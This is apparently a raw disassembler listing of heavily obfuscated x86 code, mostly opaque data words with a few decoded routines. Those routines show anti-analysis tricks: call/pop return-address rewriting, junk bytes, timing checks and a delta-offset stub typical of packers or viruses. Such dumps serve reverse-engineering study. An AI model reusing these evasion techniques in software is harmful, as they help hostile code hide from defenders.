		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 3D8287C3h, 168D9D23h, 958B07E9h, 7E9320Dh, 8D8B4FB3h
		dd 7E922E5h, 0A2DBD8Bh,	8B5007E9h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 51C35242h, 85089EDDh,	0AE9534Dh, 75000000h
		dd 3F9DD382h, 167A5511h, 0C9BD2B24h, 8907E91Fh,	0E90F5D85h
		dd 13E807h, 759A0000h, 0EFE31BA1h, 0BF274AA3h, 47190CC9h
		dd 82C0558h, 15840F73h,	0E9000000h, 10h, 7EA68CCEh, 38BCB610h
		dd 604BCB55h, 7A489C3Ah, 2DBD835Bh, 7E91Ch, 0B3840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 89E71EC3h, 0BF6686ECh, 0B70FBC40h, 0B8FEh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 653017C3h, 2DD69FE9h, 8D158619h, 0E94D5A8Dh,	55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C4D39B7Bh, 998589B3h, 0FF07E92Fh, 53006AE1h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0E9DA3F80h, 11h, 0B1F70CFFh,	0AA5B9B83h, 53685F8Ah
		dd 92518B92h, 0B1BD83D1h, 7E922h, 36F840Fh, 0BB660000h
		dd 0BD8316A8h, 7E922B1h, 79840F01h, 57000003h, 1800Fh
		dd 5BF90000h, 22B1BD83h, 0F0307E9h, 32D86h, 0D88B6600h
		dd 17D58589h, 0F6007E9h, 68Dh, 0B58D8900h, 6607E91Eh, 6AD98Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 31BB95C3h, 0B5313EAEh, 7E90B21h, 8904E180h, 0E91AD995h
		dd 0FC90A07h, 0E784h, 8BDA8B00h, 0E90C5585h, 33DF8B07h
		dd 0E91CE985h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BF66CB4Fh, 0F50053Dh
		dd 0E82h, 6E800h, 0F4ED0000h, 3260D337h, 895B5B56h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0EA76FFC3h, 29768C7Eh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 681603C3h, 0D1916B7Ch
		dd 35BF6660h, 61DC8A21h, 83240481h, 0E92E8D98h,	10h, 0FA312F67h
		dd 2C75A799h, 8E5C5918h, 30DA8AB7h, 13E9h, 0CBB84000h
		dd 0F295E1ACh, 0F0116048h, 5EA9CDE8h, 77E4C385h, 2D995FFh
		dd 858907E9h, 7ECD785h,	95F38166h, 176E985h, 0B5890000h
		dd 7E92EF5h, 0D77D858Bh, 0BF0F07ECh, 1800C7FEh,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 3BBC351h,	17118D89h, 0B58B07E9h, 7ECD781h
		dd 0E5BD8960h, 8B07E91Fh, 0E921F185h, 858B6107h, 7E91859h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 18C35343h
		dd 7B1D3F6h, 6A06899Bh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0D4FFC350h,	55858BD5h
		dd 6A07E90Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 6484C357h, 0E783DD74h,	89DF8B66h
		dd 0BD8B0446h, 7E91AADh, 10E850h, 69390000h, 2838B969h
		dd 0A68CCE9Bh, 0BCB6107Eh, 52505538h, 8A0Fh, 310F0000h
		dd 83761EBBh, 5B585A2Fh, 89243489h, 0E91E559Dh,	7DB5FF07h
		dd 6807ECD7h, 37885024h, 8B665250h, 50310FFAh, 81585A5Fh
		dd 53DB2434h, 6A3797h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8DD501C3h, 0ECD78585h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0B3BE820Eh, 0A3AB398Dh, 0E9905090h, 6, 0A8040540h, 95FF42F9h
		dd 7E902D9h, 2830Fh, 61600000h,	52006A61h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A8EB59D1h
		dd 0A26CEF46h, 0C7F98B58h, 0E922B185h, 307h, 0BE900h, 0ADC70000h
		dd 4078B0F2h, 87F8F32h,	85BD83ACh, 7ECD7h, 38840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 8BFDF9C3h, 0E930E59Dh, 2BE907h, 9D8B0000h, 7E90AE1h
		dd 48B0Fh, 0BF660000h, 305073E9h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0CD9509C0h,	8307E91Eh
		dd 0E922B1BDh, 850F0307h, 3C9h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0CDC35141h,	4559A3D4h, 34A301BBh
		dd 0D5BD89EBh, 8307E902h, 0ECD785BDh, 840F0007h, 391h
		dd 0B5FFD98Ah, 7ECD785h, 816633B7h, 0FFDDE8DFh,	0E9134995h
		dd 0B5BD8907h, 8B07E900h, 0ECD779B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0DFC1A589h, 8A7F16D7h, 6C7F5DDh, 10001h, 21CCF781h
		dd 0E8506217h, 9, 24FEF42Eh, 0C39AD4FEh, 0B6BB50D3h, 5B46378Ch
		dd 2434895Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	27C35747h, 489E9DC0h, 6CBA4ABCh, 559D89BFh, 8907E901h
		dd 0E902FD9Dh, 85B5FF07h, 6A07ECD7h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0BA7EC356h
		dd 0F760A78h, 619D09C2h, 8B07E90Ch, 0E9109D9Dh,	0B195FF07h
		dd 6A07E91Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 9B02C350h, 99BF0578h, 8B1C3B95h
		dd 0ECD779B5h, 698D0107h, 8B07E92Eh, 0E9244985h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 535C6C91h, 5C9112E6h, 39B58946h, 8907E92Eh, 0E9198995h
		dd 0C4868907h, 89000000h, 0E9158D95h, 0D958B07h, 6A07E932h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0AF89C355h, 1D093850h, 4C2831Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8AC35545h, 0BE85E6Dh
		dd 4C000000h, 133A71F7h, 555E790Fh, 0BD29E6D1h,	7E91FA9h
		dd 2050895Bh, 18F5BD8Bh, 858D07E9h, 7ECECA1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 62C35545h, 0AEBA7C40h
		dd 0E0997DF1h, 3081B589h, 868907E9h, 0B8h, 66006AF5h, 0FF7C2ABBh
		dd 0ECD785B5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 53B87838h, 0BF0F45A2h
		dd 0CD95FFDAh, 6607E902h, 0BB96DE8Bh, 5BAD3044h, 8A0F5250h
		dd 3, 5FDE8B66h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h
		dd 1404h, 0C3574700h, 0D1BB66B8h, 85B5FF53h, 8907ECD7h
		dd 0E90AA195h, 2D95FF07h, 8B07E930h, 0E92DE99Dh, 0C9BD8307h
		dd 7E91Eh, 15840Fh, 9D090000h, 7E91D6Dh, 3B8DBF50h, 3489515Eh
		dd 759D8B24h, 0FF07E90Ch, 0ECD785B5h, 0CE907h, 871F0000h
		dd 8B972997h, 78223524h, 95FF2CA2h, 7E91F9Dh, 12E9h, 35EED100h
		dd 8D4C24B4h, 0B551044Ch, 734CC29Fh, 0FF69D8C2h, 0ECD785B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 14E99E17h, 87000000h, 997C7577h,	7387CBC1h
		dd 4B582D2Fh, 9A09FF3Fh, 0FF7D4BE6h, 0E9013995h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 4D6156E8h, 958AE8F7h, 8E9634Dh, 21000000h, 0D63D77DFh
		dd 837182F3h, 0E929CDBDh, 840F0207h, 28h, 68F0Fh, 9D890000h
		dd 7E923ADh, 875858Bh, 8F0F07E9h, 2, 0C6D98Bh, 0BD896000h
		dd 7E93549h, 61CA8B66h,	24AD85C7h, 7E9h, 0FE80000h, 9F000000h
		dd 4F37C041h, 7A533095h, 0FD171264h, 0CB812A61h, 70AFA730h
		dd 0F467E95Bh, 9D2BFFFFh, 7E9078Dh, 9D89C18Bh, 7E92B11h
		dd 861858Dh, 2FBF07E9h,	8B6BA211h, 0E923DDBDh, 7E85007h
		dd 16000000h, 866674Ch,	5F533CFDh, 2404895Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 76C35040h, 446A5D5Ch
		dd 5E8FEh, 408C0000h, 0BFC92806h, 1424E8Ah, 0DF81665Bh
		dd 6AE1D6h, 8E9h, 27883700h, 1C11540Dh,	60006A3Eh, 2B819D89h
		dd 5E907E9h, 2F000000h,	0CE58EA80h, 49BD8961h, 8D07E92Dh
		dd 0ED7E6685h, 4800F07h, 60000000h, 8361D08Bh, 6A05C0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 7D15D5C3h, 3EBF6655h, 6660507Eh, 5031C4B8h, 0CE952h
		dd 88410000h, 0D66D7201h, 0AEEFF8E3h, 310FF40Ch, 4044BF66h
		dd 8961585Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0DF2CE2C3h, 4BBE4AA8h, 0F8B88F35h
		dd 23C59D8Bh, 0B9BF07E9h, 6A3D78E9h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 12CFA0h, 5DB22064h
		dd 9589E650h, 7E93061h,	6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 6B7E03C3h, 0DFA56721h
		dd 9CD780EBh, 0FB995FFh, 6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 808BA3C3h, 0D8131D36h
		dd 8589DC30h, 7E918B9h,	0D72C8D8Dh, 816607ECh, 0FF2CF4F3h
		dd 0DBB70FD1h, 1B69BD83h, 0F0107E9h, 3F85h, 0C1BD8B00h
		dd 6A07E916h, 9D950102h, 5007E901h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 9A48C353h, 31B1B6DFh, 0E9255D85h, 95FFF807h,	7E902CDh
		dd 0DB1E9h, 0E800h, 815D0000h, 0ED7E70EDh, 0D9B70F07h
		dd 15A98D89h, 9D0307E9h, 7E93591h, 0B406858Dh, 950107ECh
		dd 7E90DBDh, 0BB665090h, 6A90BCA2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 644EC352h
		dd 35FFh, 9D030000h, 7E93461h, 258964h,	6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 9CECC357h, 0C3EE777Ah, 31C300C7h, 20319D09h,	0B96007E9h
		dd 5CEBD192h, 7E9h, 0A588C500h,	95900A9Ah, 9D85FF61h, 8B07E90Fh
		dd 0E908D9BDh, 6AFF6A07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 316C353h, 6C0DCF21h
		dd 245DB5FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 556317C3h, 2C919D89h, 95FF07E9h
		dd 7E9233Dh, 14CE9h, 49BD2B00h,	0B007E91Dh, 11E800h, 0FEE40000h
		dd 0DE99A394h, 6221AC0Bh, 3FA9AC53h, 0E9E25C0Dh, 12h, 0EB0586Ch
		dd 830ECE4Dh, 0C6CEF54Eh, 0F82122D4h, 0E65B208Dh, 0AE970h
		dd 41E30000h, 5774965Ch, 0F8A49F87h, 1859501h, 71E407E9h
		dd 0AE9DB81h, 613C25D7h, 0EF830Fh, 0E8600000h, 0Dh, 0E634F08Dh
		dd 48EE7AFDh, 98AD656Ch, 39B58BE2h, 5E07E925h, 0C8B60F61h
		dd 20FD9D8Bh, 6BA07E9h,	89000000h, 0E9190D8Dh, 8BC18B07h
		dd 0E90749BDh, 4E8C107h, 12E8h,	35090000h, 754E03F5h, 4ED707FDh
		dd 0C4242C21h, 89C94B32h, 0E91C2985h, 0F7665B07h, 46EF81E2h
		dd 2B6ADA9Ah, 91CF80C8h, 0DE9D18Bh, 9B000000h, 0F4402ABEh
		dd 22EE3478h, 0A722AA43h, 4E9h,	0E4BF6600h, 89858B04h
		dd 0F07E909h, 388h, 0D98B6600h,	83F8B70Fh, 3BB07C0h, 8373BDEFh
		dd 8D8900C0h, 7E91EADh,	830FD03Bh, 11h,	2FD9BD8Bh, 36E907E9h
		dd 81000000h, 0C35968F3h, 0D98D8B5Ah, 8B07E91Dh, 1E183DAh
		dd 1F840Fh, 0BD8B0000h,	7E91B29h, 1DD9A583h, 0F5FE07E9h
		dd 9899589h, 858907E9h,	7E900E5h, 0E9h,	4B58D00h, 6A07ECF8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 6D46C350h, 0D33C4022h, 0FF28597h,	6AD9BFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CEC35141h
		dd 46F3DADFh, 0CB81BA30h, 61A29098h, 0C3195FFh,	6A07E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0EDE4E1C3h, 431E84B9h, 0B9080046h, 0ECCh, 6AFCE183h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 130CC351h, 0B5898139h, 7E91BA9h, 66FCFA8Bh
		dd 8BD3E9BBh, 0B8D9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 49D92DC3h, 2BF8BF0Fh
		dd 50006AD2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0EEF8AC14h, 0EE00BC5Eh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0ABC35141h, 66AB9749h, 0E81DB81h, 880Dh, 38E0F00h
		dd 80000000h, 958B41CBh, 7E9320Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0E9C35141h,	22E58D8Bh, 6A07E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 465E38C3h, 8B91EEB5h, 0E916F19Dh, 0C28B5007h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 7878DB81h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F3C35646h, 60B86F49h
		dd 13598589h, 860F07E9h, 4, 8DE6BE66h, 0D8BF0F61h, 1C2DBD83h
		dd 0F0007E9h, 6184h, 0A5858900h, 0B807E926h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CC06F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC06F	proc near		; CODE XREF: sdfs____:005CC067p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CC06F	endp

; ---------------------------------------------------------------------------
		db 0C0h
		dd 72981DEDh, 5A8D8DDEh, 8107E94Dh, 0D037A4C7h,	6AE1FF71h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 423BC351h, 0E9C2EA82h, 0FFBBF0Fh,	0BD83D8B7h
		dd 7E922B1h, 5B840F00h,	6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 3CBAC350h
		dd 954F06Dh, 0E9096D8Dh, 0B1BD8307h, 107E922h, 343840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 1EA6ACC3h, 0D917DE4Dh, 22B1BD83h,	0F0307E9h
		dd 2DE86h, 0F878BF00h, 2B605615h, 0E90F35BDh, 0D98C6607h
		dd 80DABF0Fh, 0BB6604E1h, 0C90A7ADCh, 0FA840Fh,	0AE90000h
		dd 0CD000000h, 5DC7F6A4h, 6B661813h, 79BD89A9h,	8B07E934h
		dd 0E90C5585h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0C53C2A4h, 9E960h, 0F92C0000h
		dd 0D3CE78BEh, 8B486089h, 0E915AD9Dh, 85336107h, 7E91CE9h
		dd 0BE9h, 5D64DB00h, 30BA06E2h,	0B7FFCD0Eh, 8E0F50h, 89000000h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 626FD3C3h, 13318589h, 6A07E9h, 1C119D8Bh
		dd 936807E9h, 66B2ADE9h, 481F98Bh, 711A6C24h, 6880F4Dh
		dd 8B000000h, 0E920B9BDh, 0D995FF07h, 8B07E902h, 0E92F659Dh
		dd 95BD0107h, 8907E929h, 0ECD78585h, 84E9F507h,	6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0E5E5C352h, 3F45E57Dh, 0C6FDDA09h, 0D77D858Bh
		dd 6A07ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 8D3CDAC3h, 800F6E3Ch, 6, 0B958D89h, 0C707E9h
		dd 18h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h
		dd 0C5C35343h, 89B32A23h, 0E9212585h, 81B58B07h, 0E907ECD7h
		dd 8, 0D05E3A6Ah, 22550960h, 1859858Bh,	6A07E9h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0D407E4C3h, 4D8F7BDh, 8BC4425Dh, 0E913219Dh,	689F807h
		dd 6830Fh, 8A0F0000h, 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+7E90C55h]
		mov	edi, [ebp+7E92FD1h]
		mov	[esi+4], eax
		mov	bx, 92CCh
		push	eax
		pusha
		mov	ax, 6900h
		popa
		mov	[esp], esi
		jmp	loc_5CC31E
; ---------------------------------------------------------------------------
		dw 0A3FAh
		dd 0A77E27h
		db 0E3h, 2
; ---------------------------------------------------------------------------


loc_5CC31E:				; CODE XREF: sdfs____:005CC311j
		push	dword ptr [ebp+7ECD77Dh]
		push	0
		push	ecx
		call	sub_5CC32F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC32F	proc near		; CODE XREF: sdfs____:005CC327p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5CC32F	endp

; ---------------------------------------------------------------------------
		db 29h
		dd 0E4F96257h, 66735845h, 0F5151BBh, 0D268FABFh, 5063FA57h
		dd 1ED8BF52h, 310F3520h, 585AFE8Bh, 2D243481h, 8B63E554h
		dd 0E90B9DBDh, 85858D07h, 8B07ECD7h, 48950DFh, 0D995FF24h
		dd 6A07E902h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 796C353h, 63FBA866h, 61FEEB80h
		dd 0EEECBB66h, 22B185C7h, 307E9h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 89A53FC3h
		dd 0E92A1595h, 85BD8307h, 7ECD7h, 25840Fh, 81660000h, 0E97480CBh
		dd 36h,	15860Fh, 10E90000h, 0EA000000h,	6B026BE1h, 0D5DAF1B5h
		dd 4CFCD986h, 50D57EE5h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 8F38A6C3h, 6BB34905h
		dd 95895B56h, 7E92B31h,	22B1BD83h, 0F0307E9h, 4D885h, 18D8900h
		dd 8307E909h, 0ECD785BDh, 840F0007h, 4C5h, 1A5D9589h, 0B5FF07E9h
		dd 7ECD785h, 9E9h, 6542C400h, 76DE8A23h, 0BD8B18BBh, 7E92519h
		dd 134995FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0D2258AC3h, 0B3D71224h, 0BBBF79D4h
		dd 8B768907h, 0E92E31BDh, 79B58B07h, 6607ECD7h,	0F60F98Bh
		dd 0B589F0BFh, 7E90FD5h, 106C761h, 6A000100h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0A4EDC355h, 60969E16h, 0BE8h, 0D6795700h, 2DBC6117h
		dd 24612F97h, 9464BA66h, 5E85Eh, 56880000h, 560FEAC1h
		dd 50615A58h, 13E9h, 38FCC500h,	74A7A215h, 577068B6h, 0ACDDFF73h
		dd 0E187D913h, 52006A96h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8E8BE5Bh, 0FE000000h
		dd 0BD3148F9h, 0BB2F7172h, 7B30B383h, 890F525Fh, 6, 8E0Fh
		dd 0FF5B0000h, 0ECD785B5h, 33C38007h, 1AB195FFh, 816607E9h
		dd 8BA157D7h, 0ECD779B5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 4A56F36Ah
		dd 53A2491Ch, 79BD03ECh, 2907E90Ch, 0E9057195h,	49858B07h
		dd 8907E924h, 0E926458Dh, 0C4868907h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 9958C355h, 958BBFF5h, 7E9320Dh, 2458D29h, 0C28307E9h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0BB76DE8Ah, 8D205089h, 0ECECA185h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 6E814h, 141D0000h, 2608290Eh, 315BDA8Bh, 0E9016D9Dh
		dd 0B8868907h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0DB8AC356h,	0BFCCF348h
		dd 13705E6Ch, 6A6AE780h, 19850100h, 0FF07E902h,	0ECD785B5h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0FF2BA5FBh, 0E902CD95h, 0E880F07h, 60000000h
		dd 8E0Fh, 85890000h, 7E92065h, 0C89ABF61h, 575078A8h, 5E9h
		dd 122F3200h, 895B62A0h, 6A2434h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0CD2151C3h, 0BC0EB168h
		dd 0BE956h, 707E0000h, 3135ADh,	9227070Dh, 0BD315B57h
		dd 7E90335h, 0D785B5FFh, 6A07ECh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0CAC3C3C3h, 24397C15h
		dd 0C140CB81h, 95FF50B2h, 7E9302Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 9DC35545h, 0FF3A15Dh, 689h
		dd 819D3100h, 8907E910h, 0E907AD8Dh, 0C9BD8307h, 7E91Eh
		dd 4F840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0AA9C3CC3h, 287764A5h, 9D8B5140h
		dd 7E91C99h, 5E8505Bh, 17000000h, 0FAB2D70Bh, 72A2BF66h
		dd 2434895Fh, 0B8B0Fh, 850F0000h, 5, 5BE38166h,	85B5FF8Eh
		dd 6A07ECD7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0E0D3C357h, 1CB18D89h,	95FF07E9h
		dd 7E91F9Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0E5C35646h, 263B8311h, 411B4F3Dh, 1D8D89A4h, 8907E908h
		dd 0E92DC99Dh, 85B5FF07h, 6A07ECD7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0EE84C353h
		dd 72C64472h, 95FF01ECh, 7E90139h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0F2C35040h,	0DD2CA821h, 0B919D8Bh
		dd 0BD8307E9h, 7E929CDh, 88840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 4DBBC355h, 7E9BD03h,	858B07E9h, 7E90875h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 9AC35040h, 0E9953104h
		dd 0E807E92Fh, 0Eh, 84DC6535h, 6214D113h, 0D0B5E888h, 0D98BD531h
		dd 0C65Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	39C35141h, 2D8068E6h, 0C7FCFE93h, 0E924AD85h, 7
		dd 0F35FE900h, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 234F35C3h, 8BF83AB4h, 0FD9D0BFAh
		dd 8B07E921h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 15C6C11Ah, 0FB44FD20h, 0BD89AE8Fh
		dd 7E924D1h, 29B96660h,	79B58B20h, 6107E910h, 2DF19589h
		dd 858D07E9h, 7E90861h,	18E0Fh,	90FC0000h, 0FE9h, 0BAF55200h
		dd 7379DA8Dh, 0C20427D9h, 0EDAD7873h, 0C8D0F50h, 50000000h
		dd 50310F52h, 5A310F52h, 90585A58h, 5890Fh, 81660000h
		dd 0FA9D2DFh, 680h, 0E9850900h,	6A07E90Bh, 0C8A0F00h, 0F000000h
		dd 681h, 0B1B58900h, 8B07E924h,	66006AFBh, 8D461ABBh, 0ED8DB485h
		dd 0B1B58907h, 8307E911h, 5E905C0h, 5F000000h, 57BAB73Eh
		dd 0DE950h, 73D30000h, 6F62651Bh, 8C860E5Bh, 89549B1Eh
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8B2F63C3h, 6A006AFAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 22E6C356h
		dd 8B66D94Bh, 89006AFEh, 0E9202195h, 0B995FF07h, 8B07E90Fh
		dd 0E92B359Dh, 2C8D8D07h, 6A07ECD7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 5113C352h
		dd 9CAFFEAh, 0E925C5B5h, 6AD1FF07h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 7F3AC350h
		dd 5E966CDh, 6B000000h,	9059D4D3h, 1B69BD83h, 0F0107E9h
		dd 4585h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h
		dd 0C3524200h, 0A86539EFh, 3C4B1770h, 0F88B4C8Ch, 8166026Ah
		dd 50E699CBh, 40DB57BBh, 2404890Eh, 95FF5F50h, 7E902CDh
		dd 0C24BF66h, 0D1E9FE8Bh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7ED8DBEh
		mov	[ebp+7E93111h],	edx
		push	0
		push	ebx
		call	sub_5CCB90
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCB90	proc near		; CODE XREF: sdfs____:005CCB88p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5CCB90	endp

; ---------------------------------------------------------------------------
		add	edi, [edx-4Ch]
		xor	ecx, [ebp-5Fh]
		mov	edi, [ebp+7E91649h]
		lea	eax, [ebp+7ECB406h]
		push	0
		push	edi
